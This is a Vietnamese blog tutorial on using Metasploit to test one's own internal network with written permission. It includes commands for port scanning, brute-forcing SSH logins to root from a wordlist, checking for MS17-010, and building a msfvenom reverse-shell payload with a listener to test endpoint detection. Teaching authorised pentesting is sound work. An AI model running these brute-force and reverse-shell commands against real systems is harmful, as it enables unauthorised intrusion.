Hướng dẫn sử dụng Metasploit Framework kiểm tra bảo mật hệ thống nội bộ: Ethical Hacking có trách nhiệm

Security tutorial - IT technology blog
Security tutorial - IT technology blog

Khi nào thì bạn mới biết hệ thống mình đang có lỗ hổng?

Câu trả lời thực tế là: khi kẻ tấn công tìm ra trước bạn. Đó là lý do các sysadmin và security engineer cần chủ động “tự hack” hệ thống của mình — trước khi người khác làm điều đó.

Sau khi audit security cho 10+ server, mình thấy hầu hết đều có chung những lỗ hổng cơ bản: dịch vụ chạy version cũ, port mở không cần thiết, hoặc credential mặc định chưa đổi. Những thứ tưởng nhỏ đó lại là cửa vào phổ biến nhất của các cuộc tấn công thực tế.

Metasploit Framework là công cụ mà security professional dùng để mô phỏng chính xác các cuộc tấn công đó — trong môi trường kiểm soát, với sự cho phép rõ ràng. Bài này sẽ đi qua cách sử dụng Metasploit một cách có trách nhiệm để tự kiểm tra hệ thống nội bộ của bạn.

Metasploit là gì và hoạt động như thế nào?

Metasploit Framework là nền tảng mã nguồn mở viết bằng Ruby, ra đời năm 2003 và hiện có hơn 2.400 module sẵn dùng. Nếu bạn từng đọc báo cáo pentest của bất kỳ công ty bảo mật nào, khả năng cao họ có dùng Metasploit ở một bước nào đó trong quy trình.

Các khái niệm cần biết trước

  • Module: Đơn vị chức năng trong Metasploit. Có 4 loại chính: exploit (tấn công lỗ hổng), auxiliary (scan/fingerprint), payload (mã chạy sau khi exploit thành công), post (hành động sau khi có quyền truy cập).
  • msfconsole: Giao diện dòng lệnh chính của Metasploit.
  • RHOSTS / RPORT: Địa chỉ IP và cổng của máy mục tiêu (target).
  • LHOST / LPORT: Địa chỉ IP và cổng của máy bạn (attacker/listener).
  • Session: Kết nối được thiết lập sau khi exploit thành công — ví dụ shell hoặc Meterpreter.

Nguyên tắc không thể bỏ qua: Chỉ chạy Metasploit trên hệ thống bạn sở hữu hoặc đã được cấp phép bằng văn bản. Dùng trên hệ thống không được phép là phạm pháp — không ngoại lệ.

Cài đặt Metasploit trên Kali Linux / Ubuntu

Kali Linux đã cài sẵn Metasploit. Nếu bạn dùng Ubuntu hoặc Debian, cài như sau:

# Cài đặt Metasploit trên Ubuntu/Debian
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

# Khởi động lần đầu (tạo database)
msfdb init

# Mở console
msfconsole

Lần đầu chạy msfconsole sẽ mất vài phút để khởi tạo. Thấy dấu nhắc msf6 > hiện ra là bạn đã vào được rồi.

Thực hành: Kiểm tra hệ thống nội bộ theo quy trình

Quy trình pentest chuẩn gồm 3 bước: Scan → Identify → Test. Dưới đây là từng bước với ví dụ cụ thể.

Bước 1 — Scan để phát hiện host và dịch vụ

Trước khi dùng Metasploit, bạn cần biết có gì trên mạng nội bộ. Dùng module auxiliary/scanner:

# Trong msfconsole
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 22,80,443,3306,5432,8080,8443
msf6 auxiliary(scanner/portscan/tcp) > set THREADS 20
msf6 auxiliary(scanner/portscan/tcp) > run

Hoặc dùng Nmap tích hợp thẳng vào Metasploit để lấy kết quả chi tiết hơn:

msf6 > db_nmap -sV -O 192.168.1.0/24
# -sV: detect service version
# -O: detect OS

# Xem kết quả đã lưu vào database
msf6 > hosts
msf6 > services

Bước 2 — Kiểm tra SSH có bị brute-force được không

SSH với password yếu là lỗ hổng mình gặp nhiều nhất — và cũng dễ fix nhất nếu phát hiện sớm. Metasploit có module để test điều này:

msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.1.50
msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME root
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /usr/share/wordlists/common-passwords.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE false
msf6 auxiliary(scanner/ssh/ssh_login) > run

Module tìm ra được password? Xử lý ngay: chuyển sang key-based auth, tắt root login trực tiếp qua SSH, hoặc bật 2FA bằng Google Authenticator.

Bước 3 — Kiểm tra lỗ hổng trên dịch vụ cụ thể

Giả sử scan thấy một máy đang chạy Samba (SMB) phiên bản cũ. Đây là cách kiểm tra xem nó có dính EternalBlue (MS17-010) không — lỗ hổng từng được dùng trong vụ WannaCry 2017:

msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.55
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

# Output nếu vulnerable:
# [+] 192.168.1.55:445 - Host is likely VULNERABLE to MS17-010!

Lưu ý: Module auxiliary/scanner chỉ kiểm tra (detect), không thực sự exploit. Đây là cách an toàn để xác nhận lỗ hổng tồn tại.

Bước 4 — Tìm module phù hợp cho lỗ hổng đã phát hiện

Biết dịch vụ đang chạy version nào rồi? Dùng search để tìm exploit tương ứng:

# Tìm exploit liên quan đến vsftpd 2.3.4 (backdoor nổi tiếng)
msf6 > search vsftpd

# Tìm theo CVE
msf6 > search cve:2021-44228

# Tìm module liên quan đến Apache
msf6 > search name:apache type:exploit

Bước 5 — Dùng msfvenom để test endpoint detection

Một việc hữu ích khác là kiểm tra xem antivirus/EDR trên hệ thống có phát hiện payload không. msfvenom giúp tạo payload để test:

# Tạo payload Linux reverse shell (chỉ dùng trong lab)
msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=192.168.1.10 LPORT=4444 \
  -f elf -o test_payload.elf

# Trong msfconsole, mở listener để nhận kết nối
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.10
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run

Chạy payload trên máy test mà không có cảnh báo nào? Đó là tín hiệu rõ ràng để rà lại toàn bộ cấu hình security monitoring.

Bước 6 — Ghi lại kết quả

Metasploit có tính năng ghi log toàn bộ session — tiện cho báo cáo sau này:

# Ghi log console ra file
msf6 > spool /tmp/pentest-report-$(date +%Y%m%d).log

# Xuất kết quả từ database
msf6 > hosts -o /tmp/hosts.csv
msf6 > vulns -o /tmp/vulns.csv

# Tắt spool khi xong
msf6 > spool off

Những điều cần làm trước khi bắt đầu

Mình có một checklist nhỏ mà mình luôn đi qua trước mỗi lần pentest nội bộ:

  • Xin phép bằng văn bản từ quản lý hoặc chủ hệ thống — dù đó là server của công ty bạn đang làm việc.
  • Xác định scope rõ ràng: IP nào được test, IP nào không được đụng vào (production, database chính…).
  • Chọn khung giờ ít ảnh hưởng: Scan mạng nặng có thể gây chậm hệ thống. Tốt nhất làm ngoài giờ cao điểm — 11pm đến 5am thường là khung ổn.
  • Có kế hoạch rollback: Một số exploit có thể crash dịch vụ — cần biết cách restart nếu cần.
  • Không lưu credential thật trong lab: Dùng password test riêng cho môi trường kiểm tra.

Kết luận

Bạn không cần là pentester chuyên nghiệp mới dùng được Metasploit. Nắm vững 4-5 module auxiliary cơ bản là đủ để một sysadmin chạy audit định kỳ và bắt được phần lớn lỗ hổng thường gặp.

Làm đúng quy trình là điều không thể bỏ qua: có phép, có scope, có ghi chép, xử lý ngay những gì tìm được. Một buổi pentest nội bộ thường chỉ mất 3-4 tiếng. Chi phí đó nhỏ hơn rất nhiều so với hậu quả của một sự cố thật — theo IBM Cost of Data Breach Report 2023, trung bình một vụ data breach tiêu tốn $4,45 triệu USD.

Vá xong, cấu hình lại, chạy lại scan để confirm đã fix — đó mới là vòng lặp hoàn chỉnh của security hardening.

Share: